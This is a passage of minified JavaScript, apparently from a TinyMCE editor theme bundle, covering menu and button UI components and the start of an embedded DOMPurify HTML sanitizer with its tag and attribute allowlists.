n;i.set(lt(lt({},i.get()),((n={})[t]={type:"prepared",menu:e},n)))},setContents:function(t,e,n,o){l.set(t),c.set(n),i.set(e),u.set(o);var r=function(t,e){var n={};J(t,function(t,e){St(t,function(t){n[t]=e})});var o=e,r=_t(e,function(t,e){return{k:t,v:e}}),i=dt(r,function(t,e){return[e].concat(Kg(n,o,r,e))});return dt(n,function(t){return tt(i,t).getOr([t])})}(o,n);s.set(r)},expand:function(n){return tt(c.get(),n).map(function(t){var e=tt(s.get(),n).getOr([]);return[t].concat(e)})},refresh:function(t){return tt(s.get(),t)},collapse:function(t){return tt(s.get(),t).bind(function(t){return 1<t.length?vt.some(t.slice(1)):vt.none()})},lookupMenu:e,lookupItem:n,otherMenus:function(t){var e=u.get();return U(Ct(e),t)},getPrimary:function(){return l.get().bind(a)},getMenus:function(){return i.get()},clear:function(){c.set({}),i.set({}),s.set({}),l.clear()},isClear:function(){return l.get().isNone()},getTriggeringPath:function(t,u){var e=F(n(t).toArray(),function(t){return a(t).isSome()});return tt(s.get(),t).bind(function(t){var n=z(e.concat(t));return function(t){for(var e=[],n=0;n<t.length;n++){var o=t[n];if(!o.isSome())return vt.none();e.push(o.getOrDie())}return vt.some(e)}(H(n,function(t,e){return o=t,r=u,i=n.slice(0,e+1),a(o).bind(function(e){return n=o,Q(c.get(),function(t,e){return t===n}).bind(function(t){return r(t).map(function(t){return{triggeredMenu:e,triggeringItem:t,triggeringPath:i}})});var n}).fold(function(){return mt(l.get(),t)?[]:[vt.none()]},function(t){return[vt.some(t)]});var o,r,i}))})}}},$g=jm,Qg=rt("collapse-item"),Zg=kl({name:"TieredMenu",configFields:[Zu("onExecute"),Zu("onEscape"),Qu("onOpenMenu"),Qu("onOpenSubmenu"),Ju("onRepositionMenu"),Ju("onCollapseMenu"),Eo("highlightImmediately",!0),bo("data",[mo("primary"),mo("menus"),mo("expansions")]),Eo("fakeFocus",!1),Ju("onHighlight"),Ju("onHover"),Yu(),mo("dom"),Eo("navigateOnHover",!0),Eo("stayInDom",!1),Zs("tmenuBehaviours",[Tg,hd,cd,Dg]),Eo("eventOrder",{})],apis:{collapseMenu:function(t,e){t.collapseMenu(e)},highlightPrimary:function(t,e){t.highlightPrimary(e)},repositionMenus:function(t,e){t.repositionMenus(e)}},factory:function(a,t){function n(t){var o,r,e=(o=t,r=a.data.primary,dt(a.data.menus,function(t,e){function n(){return qg.sketch(lt(lt({},t),{value:e,markers:a.markers,fakeFocus:a.fakeFocus,onHighlight:a.onHighlight,focusManager:(a.fakeFocus?jl:Ul)()}))}return e===r?{type:"prepared",menu:o.getSystem().build(n())}:{type:"notbuilt",nbMenu:n}})),n=dt(a.data.menus,function(t,e){return H(t.items,function(t){return"separator"===t.type?[]:[t.data.value]})});return g.setContents(a.data.primary,e,a.data.expansions,n),g.getPrimary()}function c(t){return Df.getValue(t).value}function u(e,t){hd.highlight(e,t),hd.getHighlighted(t).orThunk(function(){return hd.getFirst(t)}).each(function(t){xr(e,t.element,Ri())})}function s(e,t){return nt(B(t,function(t){return e.lookupMenu(t).bind(function(t){return"prepared"===t.type?vt.some(t.menu):vt.none()})}))}function l(e,t,n){var o=s(t,t.otherMenus(n));St(o,function(t){$r(t.element,[a.markers.backgroundMenu]),a.stayInDom||Dg.remove(e,t)})}function f(t,o){var e;J((e=t,r.get().getOrThunk(function(){var n={},t=F(vs(e.element,"."+a.markers.item),function(t){return"true"===ie(t,"aria-haspopup")});return St(t,function(t){e.getSystem().getByDom(t).each(function(t){var e=c(t);n[e]=t})}),r.set(n),n})),function(t,e){var n=wt(o,e);oe(t.element,"aria-expanded",n)})}function d(o,r,i){return vt.from(i[0]).bind(function(t){return r.lookupMenu(t).bind(function(t){if("notbuilt"===t.type)return vt.none();var e=t.menu,n=s(r,i.slice(1));return St(n,function(t){Yr(t.element,a.markers.backgroundMenu)}),vn(e.element)||Dg.append(o,Eu(e)),$r(e.element,[a.markers.backgroundMenu]),u(o,e),l(o,r,i),vt.some(e)})})}var m,e,r=gc(),g=Jg();function i(r,i,u){if(void 0===u&&(u=m.HighlightSubmenu),i.hasConfigured(gd)&&gd.isDisabled(i))return vt.some(i);var t=c(i);return g.expand(t).bind(function(o){return f(r,o),vt.from(o[0]).bind(function(n){return g.lookupMenu(n).bind(function(t){var e=function(t,e,n){if("notbuilt"!==n.type)return n.menu;var o=t.getSystem().build(n.nbMenu());return g.setMenuBuilt(e,o),o}(r,n,t);return vn(e.element)||Dg.append(r,Eu(e)),a.onOpenSubmenu(r,i,e,z(o)),u===m.HighlightSubmenu?(hd.highlightFirst(e),d(r,g,o)):(hd.dehighlightAll(e),vt.some(i))})})})}function o(e,n){var t=c(n);return g.collapse(t).bind(function(t){return f(e,t),d(e,g,t).map(function(t){return a.onCollapseMenu(e,n,t),t})})}function p(n){return function(e,t){return Ru(t.getSource(),"."+a.markers.item).bind(function(t){return e.getSystem().getByDom(t).toOptional().bind(function(t){return n(e,t).map(D)})})}}function h(t){return hd.getHighlighted(t).bind(hd.getHighlighted)}(e=m={})[e.HighlightSubmenu=0]="HighlightSubmenu",e[e.HighlightParent=1]="HighlightParent";var v=nu([Cr(Yg(),function(n,o){var t=o.event.item;g.lookupItem(c(t)).each(function(){var t=o.event.menu;hd.highlight(n,t);var e=c(o.event.item);g.refresh(e).each(function(t){return l(n,g,t)})})}),uu(function(e,t){var n=t.event.target;e.getSystem().getByDom(n).each(function(t){0===c(t).indexOf("collapse-item")&&o(e,t),i(e,t,m.HighlightSubmenu).fold(function(){a.onExecute(e,t)},st)})}),ou(function(e,t){n(e).each(function(t){Dg.append(e,Eu(t)),a.onOpenMenu(e,t),a.highlightImmediately&&u(e,t)})})].concat(a.navigateOnHover?[Cr(Vg(),function(t,e){var n=e.event.item,o=t,r=c(n);g.refresh(r).bind(function(t){return f(o,t),d(o,g,t)}),i(t,n,m.HighlightParent),a.onHover(t,n)})]:[])),b={collapseMenu:function(e){h(e).each(function(t){o(e,t)})},highlightPrimary:function(e){g.getPrimary().each(function(t){u(e,t)})},repositionMenus:function(o){g.getPrimary().bind(function(e){return h(o).bind(function(t){var e=c(t),n=nt(B(Z(g.getMenus()),$g));return g.getTriggeringPath(e,function(t){return e=t,K(n,function(t){return t.getSystem().isConnected()?N(hd.getCandidates(t),function(t){return c(t)===e}):vt.none()});var e})}).map(function(t){return{primary:e,triggeringPath:t}})}).fold(function(){vt.from(o.components()[0]).filter(function(t){return"menu"===ie(t.element,"role")}).each(function(t){a.onRepositionMenu(o,t,[])})},function(t){var e=t.primary,n=t.triggeringPath;a.onRepositionMenu(o,e,n)})}};return{uid:a.uid,dom:a.dom,markers:a.markers,behaviours:el(a.tmenuBehaviours,[Tg.config({mode:"special",onRight:p(function(t,e){return Ol(e.element)?vt.none():i(t,e,m.HighlightSubmenu)}),onLeft:p(function(t,e){return Ol(e.element)?vt.none():o(t,e)}),onEscape:p(function(t,e){return o(t,e).orThunk(function(){return a.onEscape(t,e).map(function(){return t})})}),focusIn:function(e,t){g.getPrimary().each(function(t){xr(e,t.element,Ri())})}}),hd.config({highlightClass:a.markers.selectedMenu,itemClass:a.markers.menu}),cd.config({find:function(t){return hd.getHighlighted(t)}}),Dg.config({})]),eventOrder:a.eventOrder,apis:b,events:v}},extraApis:{tieredData:function(t,e,n){return{primary:t,menus:e,expansions:n}},singleData:function(t,e){return{primary:t,menus:sr(t,e),expansions:{}}},collapseItem:function(t){return{value:Ir(Qg()),meta:{text:t}}}}}),tp=kl({name:"InlineView",configFields:[mo("lazySink"),Ju("onShow"),Ju("onHide"),Oo("onEscape"),Zs("inlineBehaviours",[bf,Df,ic]),To("fireDismissalEventInstead",[Eo("event",Yi())]),To("fireRepositionEventInstead",[Eo("event",qi())]),Eo("getRelated",vt.none),Eo("isExtraPart",T),Eo("eventOrder",vt.none)],factory:function(d,t){function e(n){bf.isOpen(n)&&Df.getValue(n).each(function(t){switch(t.mode){case"menu":bf.getState(n).each(Zg.repositionMenus);break;case"position":var e=d.lazySink(n).getOrDie();ff.positionWithinBounds(e,n,t.config,t.getBounds())}})}function o(t,e,n,o){i(t,e,n,function(){return o.map(function(t){return Mn(t)})})}function r(t,e,n,o){var r,i,u,a,c,s=(r=d,i=t,u=e,a=o,c="horizontal"===n.type?{layouts:{onLtr:ha,onRtl:va}}:{},Zg.sketch({dom:{tag:"div"},data:n.data,markers:n.menu.markers,highlightImmediately:n.menu.highlightImmediately,onEscape:function(){return bf.close(i),r.onEscape.map(function(t){return t(i)}),vt.some(!0)},onExecute:function(){return vt.some(!0)},onOpenMenu:function(t,e){ff.positionWithinBounds(l().getOrDie(),e,u,a())},onOpenSubmenu:function(t,e,n,o){var r=l().getOrDie();ff.position(r,n,{anchor:lt({type:"submenu",item:e},f(o))})},onRepositionMenu:function(t,e,n){var o=l().getOrDie();ff.positionWithinBounds(o,e,u,a()),St(n,function(t){var e=f(t.triggeringPath);ff.position(o,t.triggeredMenu,{anchor:lt({type:"submenu",item:t.triggeringItem},e)})})}}));function l(){return r.lazySink(i)}function f(t){return 2===t.length?c:{}}bf.open(t,s),Df.setValue(t,vt.some({mode:"menu",menu:s}))}var i=function(t,e,n,o){var r=d.lazySink(t).getOrDie();bf.openWhileCloaked(t,e,function(){return ff.positionWithinBounds(r,t,n,o())}),Df.setValue(t,vt.some({mode:"position",config:n,getBounds:o}))},n={setContent:function(t,e){bf.setContent(t,e)},showAt:function(t,e,n){o(t,e,n,vt.none())},showWithin:o,showWithinBounds:i,showMenuAt:function(t,e,n){r(t,e,n,vt.none)},showMenuWithinBounds:r,hide:function(t){bf.isOpen(t)&&(Df.setValue(t,vt.none()),bf.close(t))},getContent:function(t){return bf.getState(t)},reposition:e,isOpen:bf.isOpen};return{uid:d.uid,dom:d.dom,behaviours:el(d.inlineBehaviours,[bf.config({isPartOf:function(t,e,n){return Hu(e,n)||(o=n,d.getRelated(t).exists(function(t){return Hu(t,o)}));var o},getAttachPoint:function(t){return d.lazySink(t).getOrDie()},onOpen:function(t){d.onShow(t)},onClose:function(t){d.onHide(t)}}),Df.config({store:{mode:"memory",initialValue:vt.none()}}),ic.config({channels:lt(lt({},Xs(lt({isExtraPart:t.isExtraPart},d.fireDismissalEventInstead.map(function(t){return{fireEventInstead:{event:t.event}}}).getOr({})))),Ys(lt(lt({},d.fireRepositionEventInstead.map(function(t){return{fireEventInstead:{event:t.event}}}).getOr({})),{doReposition:e})))})]),eventOrder:d.eventOrder,apis:n}},apis:{showAt:function(t,e,n,o){t.showAt(e,n,o)},showWithin:function(t,e,n,o,r){t.showWithin(e,n,o,r)},showWithinBounds:function(t,e,n,o,r){t.showWithinBounds(e,n,o,r)},showMenuAt:function(t,e,n,o){t.showMenuAt(e,n,o)},showMenuWithinBounds:function(t,e,n,o,r){t.showMenuWithinBounds(e,n,o,r)},hide:function(t,e){t.hide(e)},isOpen:function(t,e){return t.isOpen(e)},getContent:function(t,e){return t.getContent(e)},setContent:function(t,e,n){t.setContent(e,n)},reposition:function(t,e){t.reposition(e)}}}),ep="layout-inset",np=function(t,e,n){return na(Om(t,e),t.y,n.insetNorth(),La(),"north",ra(t,{top:2}),ep)},op=function(t,e,n){return na(Om(t,e),Tm(t,e),n.insetSouth(),za(),"south",ra(t,{bottom:3}),ep)},rp=tinymce.util.Tools.resolve("tinymce.util.Delay"),ip=kl({name:"Button",factory:function(t){function n(e){return tt(t.dom,"attributes").bind(function(t){return tt(t,e)})}var e=Sm(t.action),o=t.dom.tag;return{uid:t.uid,dom:t.dom,components:t.components,events:e,behaviours:Bf(t.buttonBehaviours,[Mg.config({}),Tg.config({mode:"execution",useSpace:!0,useEnter:!0})]),domModification:{attributes:function(){if("button"!==o)return{role:n("role").getOr("button")};var t=n("type").getOr("button"),e=n("role").map(function(t){return{role:t}}).getOr({});return lt({type:t},e)}()},eventOrder:t.eventOrder}},configFields:[Eo("uid",void 0),mo("dom"),Eo("components",[]),Af("buttonBehaviours",[Mg,Tg]),wo("action"),wo("role"),Eo("eventOrder",{})]});function up(t){return(up="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function ap(t,e){return(ap=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function cp(t,e,n){return(cp=function(){if("undefined"!=typeof Reflect&&Reflect.construct&&!Reflect.construct.sham){if("function"==typeof Proxy)return 1;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),1}catch(t){return}}}()?Reflect.construct:function(t,e,n){var o=[null];o.push.apply(o,e);var r=new(Function.bind.apply(t,o));return n&&ap(r,n.prototype),r}).apply(null,arguments)}function sp(t){return function(t){if(Array.isArray(t))return lp(t)}(t)||function(){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]||null!=t["@@iterator"])return Array.from(t)}()||function(t){if(t){if("string"==typeof t)return lp(t,void 0);var e=Object.prototype.toString.call(t).slice(8,-1);return"Map"===(e="Object"===e&&t.constructor?t.constructor.name:e)||"Set"===e?Array.from(t):"Arguments"===e||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(e)?lp(t,void 0):void 0}}(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function lp(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,o=new Array(e);n<e;n++)o[n]=t[n];return o}var fp,dp=Object.hasOwnProperty,mp=Object.setPrototypeOf,gp=Object.isFrozen,pp=Object.getPrototypeOf,hp=Object.getOwnPropertyDescriptor,vp=Object.freeze,bp=Object.seal,yp=Object.create,xp="undefined"!=typeof Reflect&&Reflect,wp=xp.apply||function(t,e,n){return t.apply(e,n)},vp=vp||function(t){return t},bp=bp||function(t){return t},Sp=xp.construct||function(t,e){return cp(t,sp(e))},kp=Fp(Array.prototype.forEach),Cp=Fp(Array.prototype.pop),Op=Fp(Array.prototype.push),_p=Fp(String.prototype.toLowerCase),Tp=Fp(String.prototype.match),Ep=Fp(String.prototype.replace),Dp=Fp(String.prototype.indexOf),Ap=Fp(String.prototype.trim),Bp=Fp(RegExp.prototype.test),Mp=(fp=TypeError,function(){for(var t=arguments.length,e=new Array(t),n=0;n<t;n++)e[n]=arguments[n];return Sp(fp,e)});function Fp(r){return function(t){for(var e=arguments.length,n=new Array(1<e?e-1:0),o=1;o<e;o++)n[o-1]=arguments[o];return wp(r,t,n)}}function Ip(t,e){mp&&mp(t,null);for(var n=e.length;n--;){var o,r=e[n];"string"!=typeof r||(o=_p(r))!==r&&(gp(e)||(e[n]=o),r=o),t[r]=!0}return t}function Rp(t){var e,n=yp(null);for(e in t)wp(dp,t,[e])&&(n[e]=t[e]);return n}function Np(t,e){for(;null!==t;){var n=hp(t,e);if(n){if(n.get)return Fp(n.get);if("function"==typeof n.value)return Fp(n.value)}t=pp(t)}return function(t){return console.warn("fallback value for",t),null}}var Pp=vp(["a","abbr","acronym","address","area","article","aside","audio","b","bdi","bdo","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","content","data","datalist","dd","decorator","del","details","dfn","dialog","dir","div","dl","dt","element","em","fieldset","figcaption","figure","font","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","img","input","ins","kbd","label","legend","li","main","map","mark","marquee","menu","menuitem","meter","nav","nobr","ol","optgroup","option","output","p","picture","pre","progress","q","rp","rt","ruby","s","samp","section","select","shadow","small","source","spacer","span","strike","strong","style","sub","summary","sup","table","tbody","td","template","textarea","tfoot","th","thead","time","tr","track","tt","u","ul","var","video","wbr"]),Vp=vp(["svg","a","altglyph","altglyphdef","altglyphitem","animatecolor","animatemotion","animatetransform","circle","clippath","defs","desc","ellipse","filter","font","g","glyph","glyphref","hkern","image","line","lineargradient","marker","mask","metadata","mpath","path","pattern","polygon","polyline","radialgradient","rect","stop","style","switch","symbol","text","textpath","title","tref","tspan","view","vkern"]),Hp=vp(["feBlend","feColorMatrix","feComponentTransfer","feComposite","feConvolveMatrix","feDiffuseLighting","feDisplacementMap","feDistantLight","feFlood","feFuncA","feFuncB","feFuncG","feFuncR","feGaussianBlur","feImage","feMerge","feMergeNode","feMorphology","feOffset","fePointLight","feSpecularLighting","feSpotLight","feTile","feTurbulence"]),Lp=vp(["animate","color-profile","cursor","discard","fedropshadow","font-face","font-face-format","font-face-name","font-face-src","font-face-uri","foreignobject","hatch","hatchpath","mesh","meshgradient","meshpatch","meshrow","missing-glyph","script","set","solidcolor","unknown","use"]),zp=vp(["math","menclose","merror","mfenced","mfrac","mglyph","mi","mlabeledtr","mmultiscripts","mn","mo","mover","mpadded","mphantom","mroot","mrow","ms","mspace","msqrt","mstyle","msub","msup","msubsup","mtable","mtd","mtext","mtr","munder","munderover"]),Up=vp(["maction","maligngroup","malignmark","mlongdiv","mscarries","mscarry","msgroup","mstack","msline","msrow","semantics","annotation","annotation-xml","mprescripts","none"]),jp=vp(["#text"]),Wp=vp(["accept","action","align","alt","autocapitalize","autocomplete","autopictureinpicture","autoplay","background","bgcolor","border","capture","cellpadding","cellspacing","checked","cite","class","clear","color","cols","colspan","controls","controlslist","coords","crossorigin","datetime","decoding","default","dir","disabled","disablepictureinpicture","disableremoteplayback","download","draggable","enctype","enterkeyhint","face","for","headers","height","hidden","high","href","hreflang","id","inputmode","integrity","ismap","kind","label","lang","list","loading","loop","low","max","maxlength","media","method","min","minlength","multiple","muted","name","nonce","noshade","novalidate","nowrap","open","optimum","pattern","placeholder","playsinline","poster","preload","pubdate","radiogroup","readonly","rel","required","rev","reversed","role","rows","rowspan","spellcheck","scope","selected","shape","size","sizes","span","srclang","start","src","srcset","step","style","summary","tabindex","title","translate","type","usemap","valign","value","width","xmlns","slot"]),Gp=vp(["accent-height","accumulate","additive","alignment-baseline","ascent","attributename","attributetype","azimuth","basefrequency","baseline-shift","begin","bias","by","class","clip","clippathunits","clip-path","clip-rule","color","color-interpolation","color-interpolation-filters","color-profile","color-rendering","cx","cy","d","dx","dy","diffuseconstant","direction","display","divisor","dur","edgemode","elevation","end","fill","fill-opacity","fill-rule","filter","filterunits","flood-color","flood-opacity","font-family","font-size","font-size-adjust","font-stretch","font-style","font-variant","font-weight","fx","fy","g1","g2","glyph-name","glyphref","gradientunits","gradienttransform","height","href","id","image-rendering","in","in2","k","k1","k2","k3","k4","kerning","keypoints","keysplines","keytimes","lang","lengthadjust","letter-spacing","kernelmatrix","kernelunitlength","lighting-color","local","marker-end","marker-mid","marker-start","markerheight","markerunits","markerwidth","maskcontentunits","maskunits","max","mask","media","method","mode","min","name","numoctaves","offset","operator","opacity","order","orient","orientation","origin","overflow","paint-order","path","pathlength","patterncontentunits","patterntransform","patternunits","points","preservealpha","preserveaspectratio","primitiveunits","r","rx","ry","radius","refx","refy","repeatcount","repeatdur","restart","result","rotate","scale","seed","shape-rendering","specularconstant","specularexponent","spreadmethod","startoffset","stddeviation","stitchtiles","stop-color","stop-opacity","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke","stroke-width","style","surfacescale","systemlanguage","tabindex","targetx","targety","transform","transform-origin","text-anchor","text-decoration","text-rendering","textlength","type","u1","u2","unicode","values","viewbox","visibility","version","vert-adv-y","vert-origin-x","vert-origin-y","width","word-spacing","wrap","writing-mode","xchannelselector","ychannelselector","x","x1","x2","xmlns","y","y1","y2","z","zoomandpan"]),Xp=vp(["accent","accentunder","align","bevelled","close","columnsalign","columnlines","columnspan","denomalign","depth","dir","display","displaystyle","encoding","fence","frame","height","href","id","largeop","length","linethickness","lspace","lquote","mathbackground","mathcolor","mathsize","mathvariant","maxsize","minsize","movablelimits","notation","numalign","open","rowalign","rowlines","rowspacing","rowspan","rspace","rquote","scriptlevel","scriptminsize","scriptsizemultiplier","selection","separator","separators","stretchy","subscriptshift","supscriptshift","symmetric","voffset","width","xmlns"]),Yp=vp(["xlink:href","xml:id","xlink:title","xml:space","xmlns:xlink"]),qp=bp(/\{\{[\w\W]*|[\w\W]*\}\}/gm),Kp=bp(/<%[\w\W]*|[\w\W]*%>/gm),Jp=bp(/^data-[\-\w.\u00B7-\uFFFF]/),$p=bp(/^aria-[\-\w]+$/),Qp=bp(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|cid|xmpp):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i),Zp=bp(/^(?:\w+script|data):/i),th=bp(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g),eh=bp(/^html$/i);function nh(t){return lh().sanitize(t)}function oh(t){return function(){return tt(t,mh).getOr("!not found!")}}function rh(t,e){var n,o=t.toLowerCase();if(fh.isRtl()){var r=At(n=o,"-rtl")?n:n+"-rtl";return Tt(e,r)?r:o}return o}function ih(t,e){return tt(e,rh(t,e))}function uh(t,e){var n=e();return ih(t,n).getOrThunk(oh(n))}function ah(){return mm("add-focusable",[ou(function(t){var e,n,o;e=t.element,n="svg",o=function(t){return Ht(t,n)},N(e.dom.childNodes,function(t){return o(Mt.fromDom(t))}).map(Mt.fromDom).each(function(t){return oe(t,"focusable","false")})})])}function ch(t,e,n,o){var r,i,u,a=(u=e,fh.isRtl()&&Tt(dh,u)?["tox-icon--flip"]:[]),c=tt(n,rh(e,n)).or(o).getOrThunk(oh(n));return{dom:{tag:t.tag,attributes:null!==(r=t.attributes)&&void 0!==r?r:{},classes:t.classes.concat(a),innerHtml:c},behaviours:ec(V(V([],null!==(i=t.behaviours)&&void 0!==i?i:[],!0),[ah()],!1))}}function sh(t,e,n,o){return void 0===o&&(o=vt.none()),ch(e,t,n(),o)}var lh=function e(t){function l(t){return e(t)}var f=0<arguments.length&&void 0!==t?t:"undefined"==typeof window?null:window;if(l.version="2.3.8",l.removed=[],!f||!f.document||9!==f.document.nodeType)return l.isSupported=!1,l;var n,d=f.document,u=f.document,m=f.DocumentFragment,o=f.HTMLTemplateElement,g=f.Node,a=f.Element,r=f.NodeFilter,i=f.NamedNodeMap,c=void 0===i?f.NamedNodeMap||f.MozNamedAttrMap:i,s=f.HTMLFormElement,p=f.DOMParser,h=f.trustedTypes,v=a.prototype,b=Np(v,"cloneNode"),y=Np(v,"nextSibling"),x=Np(v,"childNodes"),w=Np(v,"parentNode");"function"!=typeof o||(n=u.createElement("template")).content&&n.content.ownerDocument&&(u=n.content.ownerDocument);var S=function(t,e){if("object"!==up(t)||"function"!=typeof t.createPolicy)return null;var n=null,o="data-tt-policy-suffix",r="dompurify"+((n=e.currentScript&&e.currentScript.hasAttribute(o)?e.currentScript.getAttribute(o):n)?"#"+n:"");try{return t.createPolicy(r,{createHTML:function(t){return t}})}catch(t){return console.warn("TrustedTypes policy "+r+" could not be created."),null}}(h,d),k=S?S.createHTML(""):"",C=u,O=C.implementation,_=C.createNodeIterator,T=C.createDocumentFragment,E=C.getElementsByTagName,D=d.importNode,A={};try{A=Rp(u).documentMode?u.documentMode:{}}catch(t){}var B={};function M(t){return t instanceof RegExp||t instanceof Function}function F(t){St&&St===t||(t=Rp(t=t&&"object"===up(t)?t:{}),G="ALLOWED_TAGS"in t?Ip({},t.ALLOWED_TAGS):X,Y="ALLOWED_ATTR"in t?Ip({},t.ALLOWED_ATTR):q,pt="ADD_URI_SAFE_ATTR"in t?Ip(Rp(ht),t.ADD_URI_SAFE_ATTR):ht,mt="ADD_DATA_URI_TAGS"in t?Ip(Rp(gt),t.ADD_DATA_URI_TAGS):gt,ft="FORBID_CONTENTS"in t?Ip({},t.FORBID_CONTENTS):dt,J="FORBID_TAGS"in t?Ip({},t.FORBID_TAGS):{},$="FORBID_ATTR"in t?Ip({},t.FORBID_ATTR):{},I="USE_PROFILES"in t&&t.USE_PROFILES,Q=!1!==t.ALLOW_ARIA_ATTR,Z=!1!==t.ALLOW_DATA_ATTR,tt=t.ALLOW_UNKNOWN_PROTOCOLS||!1,et=t.SAFE_FOR_TEMPLATES||!1,nt=t.WHOLE_DOCUMENT||!1,it=t.RETURN_DOM||!1,ut=t.RETURN_DOM_FRAGMENT||!1,at=t.RETURN_TRUSTED_TYPE||!1,rt=t.FORCE_BODY||!1,ct=!1!==t.SANITIZE_DOM,st=!1!==t.KEEP_CONTENT,lt=t.IN_PLACE||!1,W=t.ALLOWED_URI_REGEXP||W,xt=t.NAMESPACE||yt,t.CUSTOM_ELEMENT_HANDLING&&M(t.CUSTOM_ELEMENT_HANDLING.tagNameCheck)&&(K.tagNameCheck=t.CUSTOM_ELEMENT_HANDLING.tagNameCheck),t.CUSTOM_ELEMENT_HANDLING&&M(t.CUSTOM_ELEMENT_HANDLING.attributeNameCheck)&&(K.attributeNameCheck=t.CUSTOM_ELEMENT_HANDLING.attributeNameCheck),t.CUSTOM_ELEMENT_HANDLING&&"boolean"==typeof t.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements&&(K.allowCustomizedBuiltInElements=t.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements),R=-1===wt.indexOf(t.PARSER_MEDIA_TYPE)?"text/html":t.PARSER_MEDIA_TYPE,N="application/xhtml+xml"===R?function(t){return t}:_p,et&&(Z=!1),ut&&(it=!0),I&&(G=Ip({},sp(jp)),Y=[],!0===I.html&&(Ip(G,Pp),Ip(Y,Wp)),!0===I.svg&&(Ip(G,Vp),Ip(Y,Gp),Ip(Y,Yp)),!0===I.svgFilters&&(Ip(G,Hp),Ip(Y,Gp),Ip(Y,Yp)),!0===I.mathMl&&(Ip(G,zp),Ip(Y,Xp),Ip(Y,Yp))),t.ADD_TAGS&&Ip(G=G===X?Rp(G):G,t.ADD_TAGS),t.ADD_ATTR&&Ip(Y=Y===q?Rp(Y):Y,t.ADD_ATTR),t.ADD_URI_SAFE_ATTR&&Ip(pt,t.ADD_URI_SAFE_ATTR),t.FORBID_CONTENTS&&Ip(ft=ft===dt?Rp(ft):ft,t.FORBID_CONTENTS),st&&(G["#text"]=!0),nt&&Ip(G,["html","head","body"]),G.table&&(Ip(G,["tbody"]),delete J.tbody),vp&&vp(t),St=t)}l.isSupported="function"==typeof w&&O&&void 0!==O.createHTMLDocument&&9!==A;var I,R,N,P,V=qp,H=Kp,L=Jp,z=$p,U=Zp,j=th,W=Qp,G=null,X=Ip({},[].concat(sp(Pp),sp(Vp),sp(Hp),sp(zp),sp(jp))),Y=null,q=Ip({},[].concat(sp(Wp),sp(Gp),sp(Xp),sp(Yp))),K=Object.seal(Object.create(null,{tagNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},attributeNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},allowCustomizedBuiltInElements:{writable:!0,configurable:!1,enumerable:!0,value:!1}})),J=null,$=null,Q=!0,Z=!0,tt=!1,et=!1,nt=!1,ot=!1,rt=!1,it=!1,ut=!1,at=!1,ct=!0,st=!0,lt=!1,ft=null,dt=Ip({},["annotation-xml","audio","colgroup","desc","foreignobject","head","iframe","math","mi","mn","mo","ms","mtext","noembed","noframes","noscript","plaintext","script","style","svg","template","thead","title","video","xmp"]),mt=null,gt=Ip({},["audio","video","img","source","image","track"]),pt=null,ht=Ip({},["alt","class","for","id","label","name","pattern","placeholder","role","summary","title","value","style","xmlns"]),vt="http://www.w3.org/1998/Math/MathML",bt="http://www.w3.org/2000/svg",yt="http://www.w3.org/1999/xhtml",xt=yt,wt=["application/xhtml+xml","text/html"],St=null,kt=u.createElement("form"),Ct=Ip({},["mi","mo","mn","ms","mtext"]),Ot=Ip({},["foreignobject","desc","title","annotation-xml"]),_t=Ip({},["title","style","font","a","script"]),Tt=Ip({},Vp);Ip(Tt,Hp),Ip(Tt,Lp);var Et=Ip({},zp);function Dt(e){Op(l.removed,{element:e});try{e.parentNode.removeChild(e)}catch(t){try{e.outerHTML=k}catch(t){e.remove()}}}function At(t,e){try{Op(l.removed,{attribute:e.getAttributeNode(t),from:e})}catch(t){Op(l.removed,{attribute:null,from:e})}if(e.removeAttribute(t),"is"===t&&!Y[t])if(it||ut)try{Dt(e)}catch(t){}else try{e.setAttribute(t,"")}catch(t){}}function Bt(t){var e,n,o;rt?t="<remove></remove>"+t:o=(n=Tp(t,/^[\r\n\t ]+/))&&n[0],"application/xhtml+xml"===R&&(t='<html xmlns="http://www.w3.org/1999/xhtml"><head></head><body>'+t+"</body></html>");var r=S?S.createHTML(t):t;if(xt===yt)try{e=(new p).parseFromString(r,R)}catch(t){}if(!e||!e.documentElement){e=O.createDocument(xt,"template",null);try{e.documentElement.innerHTML=P?"":r}catch(t){}}var i=e.body||e.documentElement;return t&&o&&i.insertBefore(u.createTextNode(o),i.childNodes[0]||null),xt===yt?E.call(e,nt?"html":"body")[0]:nt?e.documentElement:i}function Mt(t){return _.call(t.ownerDocument||t,t,r.SHOW_ELEMENT|r.SHOW_COMMENT|r.SHOW_TEXT,null,!1)}function Ft(t){return"object"===up(g)?t instanceof g:t&&"object"===up(t)&&"number"==typeof t.nodeType&&"string"==typeof t.nodeName}function It(t,e,n){B[t]&&kp(B[t],function(t){t.call(l,e,n,St)})}function Rt(t){var e;if(It("beforeSanitizeElements",t,null),t instanceof s&&("string"!=typeof t.nodeName||"string"!=typeof t.textContent||"function"!=typeof t.removeChild||!(t.attributes instanceof c)||"function"!=typeof t.removeAttribute||"function"!=typeof t.setAttribute||"string"!=typeof t.namespaceURI||"function"!=typeof t.insertBefore))return Dt(t),1;if(Bp(/[\u0080-\uFFFF]/,t.nodeName))return Dt(t),1;var 